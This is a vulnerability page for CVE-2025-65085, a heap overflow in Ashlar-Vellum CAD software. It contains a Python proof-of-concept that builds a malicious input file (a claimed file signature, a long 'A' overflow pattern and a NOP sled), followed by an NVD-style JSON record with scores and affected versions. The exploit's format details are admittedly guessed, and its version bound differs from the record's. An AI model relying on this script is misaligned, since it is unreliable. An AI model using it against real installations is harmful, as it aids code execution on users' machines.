CVE-2025-65085

#!/usr/bin/env python3 """ CVE-2025-65085 PoC - Ashlar-Vellum Cobalt Heap Buffer Overflow This PoC demonstrates the vulnerability by generating a malicious input that triggers heap buffer overflow in affected versions. """ import struct import sys def generate_malicious_input(): """ Generate a malicious input file to trigger heap buffer overflow. The actual exploit requires specific knowledge of the vulnerable file format and memory layout. """ # Header for Ashlar-Vellum file format header = b'AVCO' # Ashlar-Vellum Cobalt signature # Version identifier version = b'\x12\x06' # Version 12.6 # Craft payload that exceeds buffer boundaries # Normal buffer size might be 1024 bytes, we overflow with larger data normal_size = 1024 overflow_size = 2048 # Double the size to trigger overflow # Pattern that helps identify overflow in debugging overflow_pattern = b'A' * overflow_size # Append shellcode or return-oriented programming (ROP) gadgets # This would be customized based on target system architecture exploit_payload = b'\x90' * 16 # NOP sled # Construct the malicious file malicious_data = header + version + overflow_pattern + exploit_payload return malicious_data def main(): print("[*] CVE-2025-65085 PoC Generator") print("[*] Target: Ashlar-Vellum Cobalt <= 12.6.1204.216") print("[*] Vulnerability: Heap-based Buffer Overflow") # Generate malicious input payload = generate_malicious_input() # Save to file for testing output_file = "CVE-2025-65085_malicious_input.bin" with open(output_file, 'wb') as f: f.write(payload) print(f"[+] Generated malicious input: {output_file}") print(f"[+] Payload size: {len(payload)} bytes") print("[!] Note: This PoC generates a template. Actual exploitation") print("[!] requires further analysis of the target application's") print("[!] memory layout and file format specifications.") return 0 if __name__ == "__main__": sys.exit(main())

{"cve": {"id": "CVE-2025-65085", "sourceIdentifier": "[email protected]", "published": "2025-11-25T18:15:54.283", "lastModified": "2026-05-12T21:16:13.290", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "A Heap-based Buffer Overflow vulnerability is present in Ashlar-Vellum Cobalt, Xenon, Argon, Lithium, and Cobalt Share versions 12.6.1204.216 and prior that could allow an attacker to disclose information or execute arbitrary code."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-122"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ashlar:argon:*:*:*:*:*:*:*:*", "versionEndIncluding": "12.2.1204.207", "matchCriteriaId": "D92AC0A5-B0AB-489E-86E7-2E5CD485DC03"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ashlar:cobalt:*:*:*:*:*:*:*:*", "versionEndIncluding": "12.2.1204.207", "matchCriteriaId": "6E48C33E-33CF-486C-AD1F-86B5F3F89AB1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ashlar:cobalt_share:*:*:*:*:*:*:*:*", "versionEndIncluding": "12.2.1204.207", "matchCriteriaId": "44BA8C61-7C12-4125-A0B2-9E45ACBCECC4"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ashlar:lithium:*:*:*:*:*:*:*:*", "versionEndIncluding": "12.2.1204.207", "matchCriteriaId": "42E49969-7EE4-48D5-9C50-7A8AE94B6AA8"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ashlar:xenon:*:*:*:*:*:*:*:*", "versionEndIncluding": "12.2.1204.207", "matchCriteriaId": "7AA0D761-749B-4FC4-A7D0-C23D8EBA2D90"}]}]}], "references": [{"url": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-329-01", "source": "[email protected]", "tags": ["Third Party Advisory", "US Government Resource"]}]}}